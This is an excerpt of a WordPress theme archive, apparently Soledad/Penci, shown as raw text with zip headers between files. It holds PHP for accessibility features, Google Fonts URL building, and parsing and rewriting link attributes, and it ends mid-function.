			box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
			clip: auto !important;
			clip-path: none;
			color: #21759b;
			display: block;
			font-size: 14px;
			font-weight: bold;
			height: auto;
			left: 5px;
			line-height: normal;
			padding: 15px 23px 14px;
			text-decoration: none;
			top: 5px;
			width: auto;
			z-index: 100000;
		}
		
		/* Enhanced focus styles */
		<?php if ( get_theme_mod( 'penci_accessibility_focus', false ) ) : ?>
		.pc-acc-f a:focus,
		.pc-acc-f button:focus,
		.pc-acc-f input:focus,
		.pc-acc-f textarea:focus,
		.pc-acc-f select:focus,
		.pc-acc-f [tabindex]:focus {
			outline: 2px solid #005fcc !important;
			outline-offset: 2px !important;
			box-shadow: 0 0 0 2px rgba(0, 95, 204, 0.3) !important;
		}
		<?php endif; ?>
		
		/* Link underlines */
		<?php if ( get_theme_mod( 'penci_accessibility_underline', false ) ) : ?>
		.pc-acc-u a {
			text-decoration: underline !important;
		}
		<?php endif; ?>
		
		/* Disable animations */
		<?php if ( get_theme_mod( 'penci_accessibility_animate', false ) ) : ?>
		.pc-acc-animate-off *,
		.pc-acc-animate-off *::before,
		.pc-acc-animate-off *::after {
			animation-duration: 0.01ms !important;
			animation-iteration-count: 1 !important;
			transition-duration: 0.01ms !important;
			scroll-behavior: auto !important;
		}
		<?php endif; ?>
		
		/* Skip link positioning */
		.skip-link {
			position: absolute;
			left: -9999px;
			z-index: 999999;
		}
		
		.skip-link:focus,
		.skip-link:active {
			position: fixed;
			top: 10px;
			left: 10px;
			background: #000;
			color: #fff;
			padding: 8px 16px;
			text-decoration: none;
			border-radius: 3px;
		}
		
		/* High contrast mode support */
		@media (prefers-contrast: high) {
			* {
				border-color: ButtonText !important;
			}
		}
		
		/* Reduced motion support */
		@media (prefers-reduced-motion: reduce) {
			*,
			*::before,
			*::after {
				animation-duration: 0.01ms !important;
				animation-iteration-count: 1 !important;
				transition-duration: 0.01ms !important;
				scroll-behavior: auto !important;
			}
		}
		
		/* Live region for screen reader announcements */
		#penci-live-region {
			position: absolute;
			left: -10000px;
			width: 1px;
			height: 1px;
			overflow: hidden;
		}
		</style>
		<?php
	}

	/**
	 * Add comprehensive accessibility JavaScript
	 */
	public function add_accessibility_javascript() {
		if ( ! get_theme_mod( 'penci_accessibility_enhanced', true ) ) {
			return;
		}
		?>
		<script id="penci-accessibility-js">
		document.addEventListener('DOMContentLoaded', function() {
			// Keyboard navigation for dropdowns
			const menuItems = document.querySelectorAll('.menu-item-has-children > a');
			
			menuItems.forEach(function(item) {
				item.addEventListener('keydown', function(e) {
					if (e.key === 'Enter' || e.key === ' ') {
						e.preventDefault();
						const expanded = this.getAttribute('aria-expanded') === 'true';
						this.setAttribute('aria-expanded', !expanded);
						const submenu = this.nextElementSibling;
						if (submenu && submenu.classList.contains('sub-menu')) {
							submenu.style.display = expanded ? 'none' : 'block';
						}
						// Announce to screen readers
						announceToScreenReader(expanded ? 
							'<?php echo esc_js( __( 'Menu collapsed', 'soledad' ) ); ?>' : 
							'<?php echo esc_js( __( 'Menu expanded', 'soledad' ) ); ?>'
						);
					}
				});
			});
			
			// Focus management for modals and popups
			const focusableElements = 'button, [href], input, select, textarea, [tabindex]:not([tabindex="-1"])';
			
			function trapFocus(element) {
				const focusableContent = element.querySelectorAll(focusableElements);
				const firstFocusable = focusableContent[0];
				const lastFocusable = focusableContent[focusableContent.length - 1];
				
				element.addEventListener('keydown', function(e) {
					if (e.key === 'Tab') {
						if (e.shiftKey) {
							if (document.activeElement === firstFocusable) {
								lastFocusable.focus();
								e.preventDefault();
							}
						} else {
							if (document.activeElement === lastFocusable) {
								firstFocusable.focus();
								e.preventDefault();
							}
						}
					}
					
					// Escape key to close modal
					if (e.key === 'Escape') {
						const closeButton = element.querySelector('[data-dismiss], .close, .modal-close');
						if (closeButton) {
							closeButton.click();
						}
					}
				});
			}
			
			// Apply focus trap to modals
			document.querySelectorAll('.modal, .popup, .overlay').forEach(trapFocus);
			
			// Announce dynamic content changes to screen readers
			function announceToScreenReader(message) {
				const liveRegion = document.getElementById('penci-live-region');
				if (liveRegion) {
					liveRegion.textContent = message;
					setTimeout(function() {
						liveRegion.textContent = '';
					}, 1000);
				}
			}
			
			// Improve image loading announcements
			const images = document.querySelectorAll('img[data-src], img[loading="lazy"]');
			images.forEach(function(img) {
				img.addEventListener('load', function() {
					if (!this.alt) {
						this.alt = '<?php echo esc_js( __( 'Image loaded', 'soledad' ) ); ?>';
					}
				});
			});
			
			// Enhanced keyboard navigation for custom elements
			document.addEventListener('keydown', function(e) {
				// Handle custom dropdown toggles
				if (e.target.matches('[aria-expanded]') && (e.key === 'Enter' || e.key === ' ')) {
					e.preventDefault();
					e.target.click();
				}
				
				// Escape key handling for dropdowns
				if (e.key === 'Escape') {
					const openDropdowns = document.querySelectorAll('[aria-expanded="true"]');
					openDropdowns.forEach(function(dropdown) {
						dropdown.setAttribute('aria-expanded', 'false');
						dropdown.focus();
					});
				}
			});
			
			// Form validation announcements
			const forms = document.querySelectorAll('form');
			forms.forEach(function(form) {
				form.addEventListener('submit', function(e) {
					const requiredFields = form.querySelectorAll('[required], [aria-required="true"]');
					let hasErrors = false;
					
					requiredFields.forEach(function(field) {
						if (!field.value.trim()) {
							hasErrors = true;
							field.setAttribute('aria-invalid', 'true');
						} else {
							field.removeAttribute('aria-invalid');
						}
					});
					
					if (hasErrors) {
						announceToScreenReader('<?php echo esc_js( __( 'Please fill in all required fields', 'soledad' ) ); ?>');
					}
				});
			});
		});
		</script>
		<?php
	}

	/**
	 * Add live regions for screen reader announcements
	 */
	public function add_live_regions() {
		echo '<div id="penci-live-region" aria-live="polite" aria-atomic="true" class="screen-reader-text"></div>';
	}

	/**
	 * Enhanced keyboard navigation for post navigation
	 */
	public function enhanced_keyboard_navigation() {
		if ( is_single() ) {
			$prev_post = get_previous_post();
			$next_post = get_next_post();

			if ( $prev_post || $next_post ) {
				?>
				<script>
				jQuery(document).ready(function ($) {
					var prevUrl = <?php echo $prev_post ? '"' . esc_js( get_permalink( $prev_post->ID ) ) . '"' : 'null'; ?>;
					var nextUrl = <?php echo $next_post ? '"' . esc_js( get_permalink( $next_post->ID ) ) . '"' : 'null'; ?>;

					$(document).keydown(function (e) {
						// Ignore if user is typing in input fields or if alt/ctrl/meta keys are pressed
						if ($(e.target).is('input, textarea, select, [contenteditable]') || 
							e.altKey || e.ctrlKey || e.metaKey) {
							return;
						}

						switch (e.which) {
							case 37: // Left arrow
								if (prevUrl) {
									window.location.href = prevUrl;
								}
								break;
							case 39: // Right arrow
								if (nextUrl) {
									window.location.href = nextUrl;
								}
								break;
							case 72: // H key - go to homepage
								if (e.shiftKey) {
									window.location.href = '<?php echo esc_js( home_url( '/' ) ); ?>';
								}
								break;
						}
					});
				});
				</script>
				<?php
			}
		}
	}

	/**
	 * Improve Contact Form 7 accessibility
	 */
	public function improve_contact_form_labels( $form ) {
		// Add aria-required to required fields
		$form = str_replace(
			'[text* ',
			'[text* aria-required="true" ',
			$form
		);
		
		$form = str_replace(
			'[email* ',
			'[email* aria-required="true" ',
			$form
		);
		
		$form = str_replace(
			'[textarea* ',
			'[textarea* aria-required="true" ',
			$form
		);
		
		return $form;
	}

	// ========== ORIGINAL METHODS (Enhanced) ==========

	public function remove_tabindex( $content ) {
		if ( get_theme_mod( 'penci_accessibility_rm_tabindex', false ) ) {
			return preg_replace( '/tabindex="[^"]*"/', '', $content );
		}

		return $content;
	}

	public function body_class( $classes ) {
		if ( get_theme_mod( 'penci_accessibility_underline', false ) ) {
			$classes[] = 'pc-acc-u';
		}
		if ( get_theme_mod( 'penci_accessibility_focus', false ) ) {
			$classes[] = 'pc-acc-f';
		}
		if ( get_theme_mod( 'penci_accessibility_animate', false ) ) {
			$classes[] = 'pc-acc-animate-off';
		}
		
		// Add general accessibility class
		if ( get_theme_mod( 'penci_accessibility_enhanced', true ) ) {
			$classes[] = 'pc-acc-enhanced';
		}

		return $classes;
	}

	public function fix_missing_alt_tags( $content ) {
		if ( empty( $content ) ) {
			return $content;
		}

		// Use DOMDocument for proper HTML parsing
		$dom = new DOMDocument();
		libxml_use_internal_errors( true );
		$dom->loadHTML( mb_convert_encoding( $content, 'HTML-ENTITIES', 'UTF-8' ), LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD );
		libxml_clear_errors();

		$images   = $dom->getElementsByTagName( 'img' );
		$modified = false;

		foreach ( $images as $img ) {
			if ( ! $img->hasAttribute( 'alt' ) ) {
				$alt_text = $this->generate_alt_text( $img );
				$img->setAttribute( 'alt', $alt_text );
				$modified = true;
			}
		}

		if ( $modified ) {
			return $dom->saveHTML();
		}

		return $content;
	}

	public function generate_alt_text( $img ) {
		// Try to get alt text from various sources
		$alt_sources = array(
			$img->getAttribute( 'title' ),
			$img->getAttribute( 'data-caption' ),
			$this->get_filename_alt( $img->getAttribute( 'src' ) ),
			__( 'Image', 'soledad' ) // Fallback with translation
		);

		foreach ( $alt_sources as $alt ) {
			if ( ! empty( trim( $alt ) ) ) {
				return $this->clean_alt_text( $alt );
			}
		}

		return __( 'Image', 'soledad' );
	}

	public function get_filename_alt( $src ) {
		if ( empty( $src ) ) {
			return '';
		}

		$filename = basename( $src );
		$name     = pathinfo( $filename, PATHINFO_FILENAME );

		// Clean up filename to make it readable
		$name = str_replace( array( '-', '_' ), ' ', $name );
		$name = preg_replace( '/[0-9]+/', '', $name ); // Remove numbers
		$name = trim( $name );

		return ucwords( $name );
	}

	public function clean_alt_text( $alt ) {
		$alt = strip_tags( $alt );
		$alt = html_entity_decode( $alt );
		$alt = trim( $alt );
		$alt = substr( $alt, 0, 125 ); // Keep alt text reasonable length

		return $alt;
	}

	public function add_missing_title_attributes( $content ) {
		// Add title attributes to img tags
		$content = $this->add_title_to_images( $content );

		// Add title attributes to anchor tags
		$content = $this->add_title_to_links( $content );

		return $content;
	}

	public function add_title_to_images( $content ) {
		// Pattern to match img tags without title attribute
		$pattern = '/<img([^>]*?)(?<!title=)(?!\s*title\s*=)([^>]*?)>/i';

		return preg_replace_callback( $pattern, function ( $matches ) {
			$img_tag = $matches[0];

			// Extract alt text if exists
			preg_match( '/alt=["\']([^"\']*)["\']/', $img_tag, $alt_matches );
			$alt_text = isset( $alt_matches[1] ) ? $alt_matches[1] : '';

			// Extract src for filename fallback
			preg_match( '/src=["\']([^"\']*)["\']/', $img_tag, $src_matches );
			$src = isset( $src_matches[1] ) ? $src_matches[1] : '';

			// Determine title text
			$title_text = '';
			if ( ! empty( $alt_text ) ) {
				$title_text = $alt_text;
			} elseif ( ! empty( $src ) ) {
				// Use filename without extension as fallback
				$filename   = pathinfo( $src, PATHINFO_FILENAME );
				$title_text = ucwords( str_replace( [ '-', '_' ], ' ', $filename ) );
			}

			// Add title attribute if we have text
			if ( ! empty( $title_text ) ) {
				$title_text = esc_attr( $title_text );
				// Insert title attribute before the closing >
				$img_tag = str_replace( '>', ' title="' . $title_text . '">', $img_tag );
			}

			return $img_tag;
		}, $content );
	}

	public function add_title_to_links( $content ) {
		// Pattern to match anchor tags without title attribute
		$pattern = '/<a([^>]*?)(?<!title=)(?!\s*title\s*=)([^>]*?)>(.*?)<\/a>/i';

		return preg_replace_callback( $pattern, function ( $matches ) {
			$full_match      = $matches[0];
			$link_attributes = $matches[1] . $matches[2];
			$link_text       = $matches[3];

			// Extract href for external link detection
			preg_match( '/href=["\']([^"\']*)["\']/', $full_match, $href_matches );
			$href = isset( $href_matches[1] ) ? $href_matches[1] : '';

			// Determine title text
			$title_text = '';

			// Strip HTML tags from link text for title
			$clean_link_text = strip_tags( $link_text );
			$clean_link_text = trim( $clean_link_text );

			if ( ! empty( $clean_link_text ) ) {
				$title_text = $clean_link_text;
			} elseif ( ! empty( $href ) ) {
				// For empty link text, use URL as fallback
				$title_text = __( 'Link to: ', 'soledad' ) . $href;
			}

			// Add additional context for external links
			if ( ! empty( $href ) && $this->is_external_link( $href ) ) {
				$title_text .= ' ' . __( '(opens in new window)', 'soledad' );
			}

			// Add title attribute if we have text
			if ( ! empty( $title_text ) ) {
				$title_text = esc_attr( $title_text );
				$new_link   = '<a' . $link_attributes . ' title="' . $title_text . '">' . $link_text . '</a>';

				return $new_link;
			}

			return $full_match;
		}, $content );
	}

	public function is_external_link( $url ) {
		$site_url    = home_url();
		$site_domain = parse_url( $site_url, PHP_URL_HOST );
		$link_domain = parse_url( $url, PHP_URL_HOST );

		// If no domain in link (relative URL), it's internal
		if ( empty( $link_domain ) ) {
			return false;
		}

		return $site_domain !== $link_domain;
	}

	public function inline_keyboard_navigation() {
		if ( is_single() ) {
			$prev_post = get_previous_post();
			$next_post = get_next_post();

			if ( $prev_post || $next_post ) {
				?>
				<script>
				jQuery(document).ready(function ($) {
					var prevUrl = <?php echo $prev_post ? '"' . esc_js( get_permalink( $prev_post->ID ) ) . '"' : 'null'; ?>;
					var nextUrl = <?php echo $next_post ? '"' . esc_js( get_permalink( $next_post->ID ) ) . '"' : 'null'; ?>;

					$(document).keydown(function (e) {
						// Ignore if user is typing in input fields
						if ($(e.target).is('input, textarea, select')) {
							return;
						}

						switch (e.which) {
							case 37: // Left arrow
								if (prevUrl) {
									window.location.href = prevUrl;
								}
								break;
							case 39: // Right arrow
								if (nextUrl) {
									window.location.href = nextUrl;
								}
								break;
						}
					});
				});
				</script>
				<?php
			}
		}
	}

} // End of class PenciAccessibility

// Initialize the accessibility class
new PenciAccessibility();PK     N\AV)  )    inc/fonts_loader.phpnu [        <?php

/**
 * Register Fonts
 *
 * @since 4.0
 */
if ( ! function_exists( 'penci_fonts_url' ) ) {
	function penci_fonts_url( $data = 'normal' ) {
		$font_url = '';

		$array_fonts       = $array_fonts_data = array();
		$array_get         = array();
		$array_options     = array();
		$array_earlyaccess = array();
		$exlude_fonts      = array_merge( penci_get_custom_fonts(), penci_font_browser() );
		$exlude_fonts      = apply_filters( 'penci_exlude_fonts_css', $exlude_fonts );


		if ( ! get_theme_mod( 'penci_font_for_title' ) ) {
			$array_fonts = array_merge( $array_fonts, array( 'Raleway' ) );
		} else {
			$array_options[] = get_theme_mod( 'penci_font_for_title' );
		}
		if ( get_theme_mod( 'penci_font_for_body' ) ) {
			$array_options[] = get_theme_mod( 'penci_font_for_body' );
		} else {
			$array_fonts = array_merge( $array_fonts, array( 'PT Serif' ) );
		}
		if ( get_theme_mod( 'penci_font_for_slogan' ) ) {
			$array_options[] = get_theme_mod( 'penci_font_for_slogan' );
		}
		if ( get_theme_mod( 'penci_font_for_menu' ) ) {
			$array_options[] = get_theme_mod( 'penci_font_for_menu' );
		}

		$array_options = array_diff( $array_options, $exlude_fonts );

		if ( ! empty( $array_options ) ) {

			foreach ( $array_options as $font ) {
				$font_family       = str_replace( '"', '', $font );
				$font_family_explo = explode( ', ', $font_family );
				$array_get[]       = isset( $font_family_explo[0] ) ? $font_family_explo[0] : '';
			}

			$array_end        = array_unique( array_merge( $array_fonts, $array_get ), SORT_REGULAR );
			$array_fonts_data = $array_end;

			if ( ! empty( $array_end ) ) {
				$string_end = implode( ':300,300italic,400,400italic,500,500italic,700,700italic,800,800italic|', $array_end );

				if ( $string_end == '-apple-system' ) {
					return;
				}

				/*
					Translators: If there are characters in your language that are not supported
					by chosen font(s), translate this to 'off'. Do not translate into your own language.
				*/
				if ( 'off' !== _x( 'on', 'Google font: on or off', 'soledad' ) ) {
					$font_url = add_query_arg(
						array(
							'family'  => urlencode( $string_end . ':300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic&subset=latin,cyrillic,cyrillic-ext,greek,greek-ext,latin-ext' ),
							'display' => 'swap',
						),
						'https://fonts.googleapis.com/css'
					);
				}
			}
		}

		if ( $data == 'normalarray' ) {
			return $array_fonts_data;
		} elseif ( $data == 'earlyaccess' ) {
			return $array_earlyaccess;
		} else {
			return $font_url;
		}
	}
}

if ( ! function_exists( 'penci_mobile_fonts_url' ) ) {
	function penci_mobile_fonts_url( $data = 'normal' ) {

		if ( ! get_theme_mod( 'penci_font_for_title_mobile' ) && ! get_theme_mod( 'penci_font_for_body_mobile' ) && ! get_theme_mod( 'penci_font_for_menu_mobile' ) ) {
			return '';
		}
		$font_url = '';

		$array_fonts       = $array_fonts_data = array();
		$array_get         = array();
		$array_options     = array();
		$array_earlyaccess = array();
		$exlude_fonts      = array_merge( penci_get_custom_fonts(), penci_font_browser() );
		$exlude_fonts      = apply_filters( 'penci_exlude_fonts_css', $exlude_fonts );

		if ( ! get_theme_mod( 'penci_font_for_title_mobile' ) ) {
			$array_fonts = array_merge( $array_fonts, array( 'Raleway' ) );
		} else {
			$array_options[] = get_theme_mod( 'penci_font_for_title_mobile' );
		}
		if ( get_theme_mod( 'penci_font_for_body_mobile' ) ) {
			$array_options[] = get_theme_mod( 'penci_font_for_body_mobile' );
		} else {
			$array_fonts = array_merge( $array_fonts, array( 'PT Serif' ) );
		}
		if ( get_theme_mod( 'penci_font_for_menu_mobile' ) ) {
			$array_options[] = get_theme_mod( 'penci_font_for_menu_mobile' );
		}

		$array_options = array_diff( $array_options, $exlude_fonts );

		if ( ! empty( $array_options ) ) {

			foreach ( $array_options as $font ) {
				$font_family       = str_replace( '"', '', $font );
				$font_family_explo = explode( ', ', $font_family );
				$array_get[]       = isset( $font_family_explo[0] ) ? $font_family_explo[0] : '';
			}

			$array_end        = array_unique( array_merge( $array_fonts, $array_get ), SORT_REGULAR );
			$array_fonts_data = $array_end;

			if ( ! empty( $array_end ) ) {
				$string_end = implode( ':300,300italic,400,400italic,500,500italic,700,700italic,800,800italic|', $array_end );

				/*
					Translators: If there are characters in your language that are not supported
					by chosen font(s), translate this to 'off'. Do not translate into your own language.
				*/
				if ( 'off' !== _x( 'on', 'Google font: on or off', 'soledad' ) ) {
					$font_url = add_query_arg(
						array(
							'family'  => urlencode( $string_end . ':300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic&subset=latin,cyrillic,cyrillic-ext,greek,greek-ext,latin-ext' ),
							'display' => 'swap',
						),
						'https://fonts.googleapis.com/css'
					);
				}
			}
		}

		if ( $data == 'normalarray' ) {
			return $array_fonts_data;
		} elseif ( $data == 'earlyaccess' ) {
			return $array_earlyaccess;
		} else {
			return $font_url;
		}
	}
}
PK     N\D*      inc/links/link_html.phpnu [        <?php

class Penci_Links_HTML {

	/**
	 * @var string
	 */
	private $tag_name = null;

	/**
	 * @var string
	 */
	private $content = null;

	/**
	 * @var array
	 */
	private $atts = array();

	/**
	 * @param string $tag_name
	 * @param string $content Optional
	 */
	public function __construct( $tag_name, $content = null ) {
		$this->tag_name = $tag_name;
		$this->content  = $content;
	}

	/**
	 * @param string $content
	 */
	public function set_content( $content ) {
		$this->content = $content;
	}

	/**
	 * @return string
	 */
	public function get_content() {
		return $this->content;
	}

	/**
	 * Set attributes
	 *
	 * @param array|string $atts
	 */
	public function set_atts( $atts ) {
		if ( is_string( $atts ) ) {
			$this->atts = $this->parse_atts( $atts );
		} else if ( is_array( $atts ) ) {
			$this->atts = $atts;
		}
	}

	/**
	 * @return string
	 */
	public function get_tag_name() {
		return $this->tag_name;
	}

	/**
	 * @param string $name
	 *
	 * @return string|null
	 */
	public function get_attr( $name ) {
		if ( ! isset( $this->atts[ $name ] ) ) {
			return null;
		}

		return $this->atts[ $name ];
	}

	/**
	 * @param string $name
	 * @param string $value Optional
	 */
	public function set_attr( $name, $value = null ) {
		$this->atts[ $name ] = $value;
	}

	/**
	 * @param string $name
	 *
	 * @return boolean
	 */
	public function has_attr( $name ) {
		return isset( $this->atts[ $name ] );
	}

	/**
	 * @param string $name
	 */
	public function remove_attr( $name ) {
		unset( $this->atts[ $name ] );
	}

	/**
	 * @param string $name
	 * @param string $value
	 *
	 * @return boolean
	 */
	public function has_attr_value( $name, $value ) {
		if ( ! $this->has_attr( $name ) ) {
			return false;
		}

		$attr_values = explode( ' ', $this->get_attr( $name ) );

		return in_array( $value, $attr_values );
	}

	/**
	 * @param string $name
	 * @param string $value
	 *
	 * @return void
	 */
	public function add_to_attr( $name, $value ) {
		if ( empty( $this->atts[ $name ] ) ) {
			$this->set_attr( $name, $value );

			return;
		}

		if ( $this->has_attr_value( $name, $value ) ) {
			return;
		}

		$this->atts[ $name ] .= ' ' . $value;
	}

	/**
	 * @param string $name
	 * @param string $value
	 *
	 * @return void
	 */
	public function remove_from_attr( $name, $value ) {
		if ( ! $this->has_attr_value( $name, $value ) ) {
			return;
		}

		$attr_values     = explode( ' ', $this->atts[ $name ] );
		$new_attr_values = array_diff( $attr_values, array( $value ) );

		$this->atts[ $name ] = implode( ' ', $new_attr_values );
	}

	/**
	 * @return string
	 */
	public function get_html( $escape_content = true ) {
		$link = '<' . esc_attr( $this->tag_name );

		foreach ( $this->atts as $key => $value ) {
			if ( null === $value ) {
				$link .= ' ' . $key;
			} else {
				$link .= ' ' . esc_attr( $key ) . '="' . esc_attr( $value ) . '"';
			}
		}

		$link .= '>';

		if ( null !== $this->content ) {
			if ( true === $escape_content ) {
				$link .= esc_html( $this->content );
			} else {
				$link .= $this->content;
			}

			$link .= '</' . esc_attr( $this->tag_name ) . '>';
		}

		return $link;
	}

	/**
	 * Parse an attributes string into an array. If the string starts with a tag,
	 * then the attributes on the first tag are parsed. This parses via a manual
	 * loop and is designed to be safer than using DOMDocument.
	 *
	 * @param string $atts
	 *
	 * @return   array
	 *
	 * @example  parse_attrs( 'src="example.jpg" alt="example"' )
	 * @example  parse_attrs( '<img src="example.jpg" alt="example">' )
	 * @example  parse_attrs( '<a href="example"></a>' )
	 *
	 * @link http://dev.airve.com/demo/speed_tests/php/parse_attrs.php
	 */
	final protected function parse_atts( $atts ) {
		$atts = str_split( trim( $atts ) );

		if ( '<' === $atts[0] ) { // looks like a tag so strip the tagname
			while ( $atts && ! ctype_space( $atts[0] ) && $atts[0] !== '>' ) {
				array_shift( $atts );
			}
		}

		$arr   = array(); // output
		$name  = '';     // for the current attr being parsed
		$value = '';    // for the current attr being parsed
		$mode  = 0;      // whether current char is part of the name (-), the value (+), or neither (0)
		$stop  = false;  // delimiter for the current $value being parsed
		$space = ' ';   // a single space

		foreach ( $atts as $j => $curr ) {
			if ( $mode < 0 ) { // name
				if ( '=' === $curr ) {
					$mode = 1;
					$stop = false;
				} elseif ( '>' === $curr ) {
					'' === $name or $arr[ $name ] = $value;
					break;
				} elseif ( ! ctype_space( $curr ) ) {
					if ( ctype_space( $atts[ $j - 1 ] ) ) {     // previous char
						'' === $name or $arr[ $name ] = '';     // previous name
						$name = $curr;                          // initiate new
					} else {
						$name .= $curr;
					}
				}
			} elseif ( $mode > 0 ) { // value
				if ( $stop === false ) {
					if ( ! ctype_space( $curr ) ) {
						if ( '"' === $curr || "'" === $curr ) {
							$value = '';
							$stop  = $curr;
						} else {
							$value = $curr;
							$stop  = $space;
						}
					}
				} elseif ( $stop === $space ? ctype_space( $curr ) : $curr === $stop ) {
					$arr[ $name ] = $value;
					$mode         = 0;
					$name         = $value = '';
				} else {
					$value .= $curr;
				}
			} else { // neither
				if ( '>' === $curr ) {
					break;
				}
				if ( ! ctype_space( $curr ) ) {
					// initiate
					$name = $curr;
					$mode = - 1;
				}
			}
		}

		// incl the final pair if it was quoteless
		'' === $name or $arr[ $name ] = $value;

		return $arr;
	}

	/**
	 * Mark as external link (by setting data attribute)
	 */
	public function set_external() {
		$this->set_attr( 'data-penci-link', 'external' );
	}

	/**
	 * Is marked as external link
	 * @return boolean
	 */
	public function is_external() {
		return 'external' === $this->get_attr( 'data-penci-link' ) || $this->has_attr_value( 'rel', 'external' );
	}

	/**
	 * Mark as internal link (by setting data attribute)
	 */
	public function set_internal() {
		$this->set_attr( 'data-penci-link', 'internal' );
	}

	/**
	 * Is marked as internal link
	 * @return boolean
	 */
	public function is_internal() {
		return 'internal' === $this->get_attr( 'data-penci-link' );
	}

	/**
	 * Mark as excluded link (by setting data attribute)
	 */
	public function set_exclude() {
		$this->set_attr( 'data-penci-link', 'exclude' );
	}

	/**
	 * Is marked as excluded link
	 * @return boolean
	 */
	public function is_exclude() {
		return 'exclude' === $this->get_attr( 'data-penci-link' );
	}

	/**
	 * Mark as ignored link (by setting data attribute)
	 */
	public function set_ignore() {
		$this->set_attr( 'data-penci-link', 'ignore' );
	}

	/**
	 * Is marked as ignored link
	 * @return boolean
	 */
	public function is_ignore() {
		return 'ignore' === $this->get_attr( 'data-penci-link' );
	}

	/**
	 * Check url is mailto link
	 * @return boolean
	 */
	public function is_mailto() {
		$url = trim( $this->get_attr( 'href' ) );

		if ( substr( $url, 0, 7 ) === 'mailto:' ) {
			return true;
		}

		return false;
	}

}
PK     N\\'  \'    inc/links/link_options.phpnu [        <?php

class Penci_Link_Options {

	private $content_placeholders = array();

	public function __construct() {

		if ( get_theme_mod( 'penci_linkmg_external_link_enable' ) || get_theme_mod( 'penci_linkmg_interal_link_enable' ) || get_theme_mod( 'penci_linkmg_excluded_link_enable' ) ) {
			require_once 'link_html.php';
			$this->init();
		}
	}

	protected function init() {
		$filter_hooks = [
			'the_title',
			'the_content',
			'the_excerpt',
			'get_the_excerpt',
			'comment_text',
			'comment_excerpt'
		];
		foreach ( $filter_hooks as $hook ) {
			add_filter( $hook, [ $this, 'scan' ], 10000000000 );
		}
	}


	public function scan( $content ) {
		/**
		 * Filter whether the plugin settings will be applied on links
		 *
		 * @param boolean $apply_settings
		 */
		$apply_settings = $this->filter_penci_apply_settings();

		if ( false === $apply_settings ) {
			return $content;
		}

		$content = $this->penci_before_filter( $content );

		$regexp_link = '/<a[^A-Za-z>](.*?)>(.*?)<\/a[\s+]*>/is';

		$content = preg_replace_callback( $regexp_link, [ $this, 'match_link' ], $content );

		/**
		 * Filters after scanning content (for internal use)
		 *
		 * @param string $content
		 */
		$content = $this->penci_after_filter( $content );

		return $content;
	}

	protected function match_link( $matches ) {
		$original_link = $matches[0];
		$atts          = $matches[1];
		$label         = $matches[2];

		if ( strpos( $atts, 'href' ) === false ) {
			return $original_link;
		}

		$created_link = $this->get_created_link( $label, $atts );

		if ( false === $created_link ) {
			return $original_link;
		}

		return $created_link;
	}

	protected function get_created_link( $label, $atts ) {
		$link = new Penci_Links_HTML( 'a', $label );
		$link->set_atts( $atts );

		/**
		 * Action triggered before link settings will be applied
		 *
		 * @param Penci_Links_HTML $link
		 *
		 * @return void
		 */
		do_action( 'penci_before_apply_link', $link );

		$this->penci_before_apply_link( $link );

		// has ignore flag
		if ( $link->is_ignore() ) {
			return false;
		}

		$this->set_link( $link );

		return $link->get_html( false );
	}

	protected function set_link( Penci_Links_HTML $link ) {
		$url = $link->get_attr( 'href' );

		$excludes_as_internal_links = false;

		// internal, external or excluded
		$is_excluded = $link->is_exclude() || $this->is_excluded_url( $url );
		$is_internal = $link->is_internal() || ( $this->is_internal_url( $url ) && ! $this->is_included_url( $url ) ) || ( $is_excluded && $excludes_as_internal_links );
		$is_external = $link->is_external() || ( ! $is_internal && ! $is_excluded );

		if ( strpos( $url, '#' ) === 0 ) {
			// skip anchors
		} else if ( $is_external ) {
			$link->set_external();
			$this->apply_link_settings( $link, 'penci_linkmg_external_link' );
		} else if ( $is_internal ) {
			$link->set_internal();
			$this->apply_link_settings( $link, 'penci_linkmg_interal_link' );
		} else if ( $is_excluded ) {
			$link->set_exclude();
			$this->apply_link_settings( $link, 'penci_linkmg_excluded_link' );
		}

		/**
		 * Action for changing link object
		 *
		 * @param Penci_Links_HTML $link
		 *
		 * @return void
		 */
		do_action( 'penci_link', $link );
	}

	protected function opt( $key, $type = null ) {
		if ( $type ) {
			return get_theme_mod( $type . '_' . $key );
		} else {
			return get_theme_mod( $key );
		}
	}

	protected function apply_link_settings( Penci_Links_HTML $link, $type ) {
		if ( ! $this->opt( 'enable', $type ) ) {
			return;
		}

		// set target
		$target     = $this->opt( 'target', $type );
		$has_target = $link->has_attr( 'target' );

		if ( $target && ! $has_target ) {
			$link->set_attr( 'target', $target );
		}

		// add "follow" / "nofollow"
		$follow     = $this->opt( 'rel_follow', $type );
		$has_follow = $link->has_attr_value( 'rel', 'follow' ) || $link->has_attr_value( 'rel', 'nofollow' );

		if ( $follow && ! $has_follow ) {

			$link->add_to_attr( 'rel', $follow );
		}

		$rel_options = $this->opt( 'rel_options', $type );
		$rel_options = explode( ',', $rel_options );

		// add "external"
		if ( 'penci_linkmg_external_link' === $type && in_array( 'rel_external', $rel_options ) ) {
			$link->add_to_attr( 'rel', 'external' );
		}

		// add "noopener"
		if ( in_array( 'rel_noopener', $rel_options ) ) {
			$link->add_to_attr( 'rel', 'noopener' );
		}

		// add "noreferrer"
		if ( in_array( 'rel_noreferrer', $rel_options ) ) {
			$link->add_to_attr( 'rel', 'noreferrer' );
		}

		// add "sponsored"
		if ( 'penci_linkmg_external_link' === $type && in_array( 'rel_sponsored', $rel_options ) ) {
			$link->add_to_attr( 'rel', 'sponsored' );
		}

		// add "ugc"
		if ( 'penci_linkmg_external_link' === $type && in_array( 'rel_ugc', $rel_options ) ) {
			$link->add_to_attr( 'rel', 'ugc' );
		}
	}

	protected function is_included_url( $url ) {
		// should be using private property, but static is more practical
		static $include_urls_arr = null;

		if ( null === $include_urls_arr ) {
			$include_urls = $this->opt( 'penci_linkmg_exceptions_ieurl' );
			$include_urls = str_replace( "\n", ',', $include_urls );

			if ( '' === trim( $include_urls ) ) {
				$include_urls_arr = array();
			} else {
				$include_urls_arr = explode( ',', $include_urls );
			}

			$include_urls_arr = array_filter( $include_urls_arr, function ( $url ) {
				return '' !== trim( $url );
			} );
		}

		foreach ( $include_urls_arr as $include_url ) {
			if ( false !== strpos( $url, $include_url ) ) {
				return true;
			}
		}

		return false;
	}

	protected function is_excluded_url( $url ) {
		// should be using private property, but static is more practical
		static $exclude_urls_arr = null;

